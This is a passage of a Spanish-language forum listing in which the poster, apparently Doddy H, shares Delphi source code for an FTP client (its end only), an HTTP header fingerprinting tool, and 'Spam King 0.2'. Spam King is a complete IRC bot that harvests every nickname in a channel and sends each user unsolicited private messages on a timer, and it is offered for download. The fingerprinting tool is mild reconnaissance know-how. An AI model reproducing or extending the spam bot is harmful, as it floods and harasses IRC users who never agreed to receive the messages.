IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False); end; procedure TForm1.sListView1DblClick(Sender: TObject); var dir: string; begin dir := sEdit1.Text + sListView1.Selected.Caption + '/'; if (DirectoryExists(dir)) then begin sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/'; listar(dir, sListView1, ImageList1); end; end; procedure TForm1.sListView2DblClick(Sender: TObject); var dir: string; begin dir := sEdit5.Text + sListView2.Selected.Caption + '/'; sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/'; listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2); end; procedure TForm1.D3Click(Sender: TObject); begin try begin IdFTP1.ChangeDir(sEdit5.Text); IdFTP1.Delete(sListView2.Selected.Caption); ShowMessage('File Deleted'); end; except begin ShowMessage('Error'); end; end; end; procedure TForm1.D4Click(Sender: TObject); begin try begin IdFTP1.ChangeDir(sEdit5.Text); IdFTP1.RemoveDir(sListView2.Selected.Caption); ShowMessage('Directory Deleted'); end except ShowMessage('Error'); end; end; procedure TForm1.D5Click(Sender: TObject); begin IdFTP1.Disconnect; end; procedure TForm1.E1Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca
|
|
|
219
|
Programación / Programación General / [Delphi] HTTP FingerPrinting 0.1
|
en: 22 Junio 2013, 17:19 pm
|
Un simple HTTP FingerPrinting hecho en Delphi. Una imagen : El codigo : // HTTP FingerPrinting 0.1 // Coded By Doddy H unit http; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sButton1: TsButton; sGroupBox2: TsGroupBox; sMemo1: TsMemo; IdHTTP1: TIdHTTP; sStatusBar1: TsStatusBar; Image1: TImage; IdCookieManager1: TIdCookieManager; procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cappuccino'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); var i: integer; begin sStatusBar1.Panels[0].text := '[+] Working ...'; Form1.sStatusBar1.Update; sMemo1.Clear; try IdHTTP1.Get(sEdit1.text); sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText); sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date)); sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server); sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr (IdHTTP1.Response.LastModified)); sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag); sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges); sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr (IdHTTP1.Response.ContentLength)); sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection); sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType); for i := 1 to IdCookieManager1.CookieCollection.count do begin sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items [i - 1].CookieText); end; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; except sStatusBar1.Panels[0].text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca
|
|
|
220
|
Programación / Programación General / [Delphi] Spam King 0.2
|
en: 14 Junio 2013, 19:04 pm
|
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado. Una imagen : El codigo // Spam King 0.2 // Coded By Doddy H unit irc; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient, IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox, PerlRegEx, jpeg, acPNG; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Timer1: TTimer; IdIRC1: TIdIRC; sGroupBox1: TsGroupBox; sLabel2: TsLabel; sEdit1: TsEdit; sEdit2: TsEdit; sLabel3: TsLabel; sEdit3: TsEdit; sLabel4: TsLabel; sEdit4: TsEdit; sStatusBar1: TsStatusBar; sGroupBox2: TsGroupBox; sListBox1: TsListBox; sLabel5: TsLabel; sEdit5: TsEdit; sButton2: TsButton; sGroupBox3: TsGroupBox; sListBox2: TsListBox; sButton1: TsButton; sLabel6: TsLabel; sEdit6: TsEdit; sButton3: TsButton; sGroupBox4: TsGroupBox; sMemo1: TsMemo; PerlRegEx1: TPerlRegEx; Console: TsGroupBox; sMemo2: TsMemo; sLabel1: TsLabel; Image1: TImage; sLabel7: TsLabel; procedure sButton1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); procedure sButton3Click(Sender: TObject); procedure IdIRC1NicknamesListReceived(ASender: TIdContext; const AChannel: string; ANicknameList: TStrings); procedure sButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean; const AMessage: string); procedure IdIRC1Disconnected(Sender: TObject); procedure IdIRC1Connected(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'tv-b'; sSkinManager1.Active := True; end; procedure TForm1.IdIRC1Connected(Sender: TObject); begin sStatusBar1.Panels[0].text := '[+] Connected ...'; Form1.sStatusBar1.Update; end; procedure TForm1.IdIRC1Disconnected(Sender: TObject); begin sStatusBar1.Panels[0].text := '[+] Stopped'; Form1.sStatusBar1.Update; end; procedure TForm1.IdIRC1NicknamesListReceived (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings); var i: integer; i2: integer; renicks: string; listanow: TStringList; arraynow: array of String; begin sListBox2.Clear; for i := 0 to ANicknameList.Count - 1 do begin PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)'; PerlRegEx1.Subject := ANicknameList[i]; if PerlRegEx1.Match then begin renicks := PerlRegEx1.SubExpressions[2]; renicks := StringReplace(renicks, sEdit4.text, '', []); listanow := TStringList.Create; listanow.Delimiter := ' '; listanow.DelimitedText := renicks; for i2 := 0 to listanow.Count - 1 do begin sListBox2.Items.Add(listanow[i2]); end; end; end; end; procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); begin sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage); end; procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean; const AMessage: string); begin sMemo2.Lines.Add(AMessage); end; procedure TForm1.sButton1Click(Sender: TObject); begin sListBox2.Items.Clear; sMemo2.Lines.Clear; sMemo1.Lines.Clear; IdIRC1.Host := sEdit1.text; IdIRC1.Port := StrToInt(sEdit2.text); IdIRC1.Nickname := sEdit4.text; IdIRC1.Username := sEdit4.text + ' 1 1 1 1'; IdIRC1.AltNickname := sEdit4.text + '-123'; try IdIRC1.Connect; IdIRC1.Join(sEdit3.text); Timer1.Interval := StrToInt(sEdit6.text) * 1000; Timer1.Enabled := True; except sStatusBar1.Panels[0].text := '[-] Error'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton2Click(Sender: TObject); begin sListBox1.Items.Add(sEdit5.text); end; procedure TForm1.sButton3Click(Sender: TObject); begin sStatusBar1.Panels[0].text := '[-] Stopped'; Form1.sStatusBar1.Update; IdIRC1.Disconnect(); Abort; end; procedure TForm1.Timer1Timer(Sender: TObject); var i: integer; begin sStatusBar1.Panels[0].text := '[+] Spamming ...'; Form1.sStatusBar1.Update; for i := 0 to sListBox2.Count - 1 do begin IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1) + 0]); end; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca
|
|
|
|
|
|
|